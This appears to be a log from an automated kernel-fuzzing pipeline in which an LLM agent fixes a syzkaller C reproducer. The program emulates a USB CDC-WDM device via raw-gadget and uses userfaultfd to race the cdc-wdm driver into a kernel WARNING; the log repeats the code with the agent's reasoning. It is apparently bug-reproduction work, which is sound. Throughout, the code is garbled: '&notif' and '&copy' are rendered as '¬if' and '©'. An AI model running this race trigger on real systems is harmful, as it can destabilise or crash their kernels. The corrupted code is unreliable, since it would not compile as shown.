if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char page[4096];
memset(page, 0, sizeof(page));
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
In file included from <stdin>:4:
<stdin>:218:12: error: initializer element is not constant
<stdin>:218:12: note: (near initialization for 'dev_desc.bcdUSB')
<stdin>:223:14: error: initializer element is not constant
<stdin>:223:14: note: (near initialization for 'dev_desc.idVendor')
<stdin>:224:15: error: initializer element is not constant
<stdin>:224:15: note: (near initialization for 'dev_desc.idProduct')
<stdin>:225:15: error: initializer element is not constant
<stdin>:225:15: note: (near initialization for 'dev_desc.bcdDevice')
<stdin>:248:19: error: initializer element is not constant
<stdin>:248:19: note: (near initialization for 'conf_desc.conf.wTotalLength')
<stdin>:270:13: error: initializer element is not constant
<stdin>:270:13: note: (near initialization for 'conf_desc.cdc_hdr.bcdCDC')
<stdin>:277:21: error: initializer element is not constant
<stdin>:277:21: note: (near initialization for 'conf_desc.ep_in.wMaxPacketSize')
cc1: note: unrecognized command-line option '-Wno-unused-command-line-argument' may have been intended to silence earlier diagnostics
compiler invocation: gcc [-o /tmp/syz-executor3087703307 -DGOOS_linux=1 -DGOARCH_amd64=1 -DHOSTGOOS_linux=1 -x c - -m64 -O2 -pthread -Wall -Werror -Wparentheses -Wunused-const-variable -Wframe-larger-than=16384 -Wno-stringop-overflow -Wno-array-bounds -Wno-format-overflow -Wno-unused-but-set-variable -Wno-unused-command-line-argument -static-pie -fpermissive -w]
Reply: ```c
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#ifndef cpu_to_le16
#if __BYTE_ORDER == __LITTLE_ENDIAN
#define cpu_to_le16(x) ((uint16_t)(x))
#else
#define cpu_to_le16(x) ((uint16_t)((((x) >> 8) & 0xffu) | (((x) & 0xffu) << 8)))
#endif
#endif
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = cpu_to_le16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = cpu_to_le16(0x0525),
.idProduct = cpu_to_le16(0xa4a7),
.bcdDevice = cpu_to_le16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = cpu_to_le16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = cpu_to_le16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = cpu_to_le16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0)
continue;
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char page[4096];
memset(page, 0, sizeof(page));
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
```
|
| 258/7 |
2026/09/11 23:00 |
llm |
repro-repairer |
0m
Model:
Tokens:
input: 13096
output: 4393
thoughts: 2821
Thoughts: **Understanding and Resolving Non-Constant Initializer Errors**
I've been encountering a persistent compiler error, specifically the "initializer element is not constant" variety. It's popping up for several fields within my `dev_desc` and `conf_desc` structures: `bcdUSB`, `idVendor`, `idProduct`, `bcdDevice`, `wTotalLength`, `bcdCDC`, and `wMaxPacketSize`.
The root cause, as I've deduced, lies in the use of the `htole16()` function directly within these global variable initializers. In glibc, `htole16()` isn't guaranteed to be a compile-time constant expression. It might expand to a function call or a built-in like `__builtin_bswap16`, which, depending on the compiler version and configuration, might not be evaluable at compile time for static initializers. The C standard simply doesn't mandate that such conversion functions must yield constant expressions.
To address this, my strategy is to replace these non-constant function calls with expressions that are guaranteed to be constant. The most straightforward approach, given that my target architecture (amd64) is little-endian, would be to simply use the literal little-endian values directly. For instance, `htole16(0x0200)` would just become `0x0200`.
However, for better portability and robustness, I've opted to define a macro, `cpu_to_le16`. This macro conditionally expands based on the system's byte order. If the system is little-endian (`__BYTE_ORDER == __LITTLE_ENDIAN`), it simply returns the input value, casting it to `uint16_t`. If the system is big-endian, it performs the necessary byte-swapping to produce the little-endian representation, again ensuring it's a `uint16_t`. This macro is designed to be a constant expression.
I've incorporated this `cpu_to_le16` macro definition at the beginning of my code, guarded by `#ifndef cpu_to_le16` to avoid redefinition if it's already provided by an included header. Crucially, I've ensured that the `<endian.h>` header, which defines `__BYTE_ORDER` and `__LITTLE_ENDIAN`, is included.
Then, I've systematically replaced every instance of `htole16()` with `cpu_to_le16()` within the initializers for `dev_desc` and `conf_desc`. For example, `htole16(0x0200)` is now `cpu_to_le16(0x0200)`, and `htole16(sizeof(conf_desc))` is now `cpu_to_le16(sizeof(conf_desc))`. I've also verified that `sizeof()` itself is a constant expression, so using it within my `cpu_to_le16` macro will still result in a constant expression.
I've performed a thorough review to confirm that all occurrences of `htole16` within these initializers have been correctly updated. This change should resolve the "initializer element is not constant" errors and ensure the code initializes correctly at compile time. I will also retain the `#include "race_toolkit.h"` line as per instructions.
|
| 259/4 |
2026/09/11 23:01 |
iteration |
1 |
0m
|
| 260/5 |
2026/09/11 23:01 |
action |
merge-repro-c |
0m
Results: map[CurrentCandidateReproC:```c
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#ifndef cpu_to_le16
#if __BYTE_ORDER == __LITTLE_ENDIAN
#define cpu_to_le16(x) ((uint16_t)(x))
#else
#define cpu_to_le16(x) ((uint16_t)((((x) >> 8) & 0xffu) | (((x) & 0xffu) << 8)))
#endif
#endif
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = cpu_to_le16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = cpu_to_le16(0x0525),
.idProduct = cpu_to_le16(0xa4a7),
.bcdDevice = cpu_to_le16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = cpu_to_le16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = cpu_to_le16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = cpu_to_le16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0)
continue;
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
